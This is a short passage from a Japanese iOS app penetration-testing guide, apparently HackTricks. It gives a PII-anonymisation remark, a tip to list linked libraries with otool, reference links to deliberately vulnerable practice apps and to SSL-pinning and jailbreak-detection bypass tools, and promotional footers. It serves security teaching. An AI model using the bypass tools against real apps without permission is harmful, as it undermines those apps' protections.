データをサードパーティサービスに送信する際には、ユーザーアカウントを特定することができるPII(個人を特定できる情報)の公開を防ぐために、データを匿名化する必要があります。
アプリケーションが使用しているライブラリは、アプリに対して**otool
**を実行することで見つけることができます(さらに使用されている共有ライブラリを見つけるために、各共有ライブラリに対して実行することもできます)。
参考文献
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering
- iOS & Mobile App Pentesting - INE
詳細情報
- https://github.com/ivRodriguezCA/RE-iOS-Apps/ IOS無料コース(https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)
- https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577
- https://www.slideshare.net/RyanISI/ios-appsecurityminicourse
- https://github.com/prateek147/DVIA
- https://github.com/prateek147/DVIA-v2
- https://github.com/OWASP/MSTG-Hacking-Playground%20
- OWASP iGoat https://github.com/OWASP/igoat <<< Objective-Cバージョン https://github.com/OWASP/iGoat-Swift <<< Swiftバージョン
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/nabla-c0d3/ssl-kill-switch2
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したいですか?または、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう、独占的なNFTのコレクションです
- 公式のPEASS&HackTricks swagを手に入れましょう
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するには、hacktricks repo およびhacktricks-cloud repo にPRを提出してください。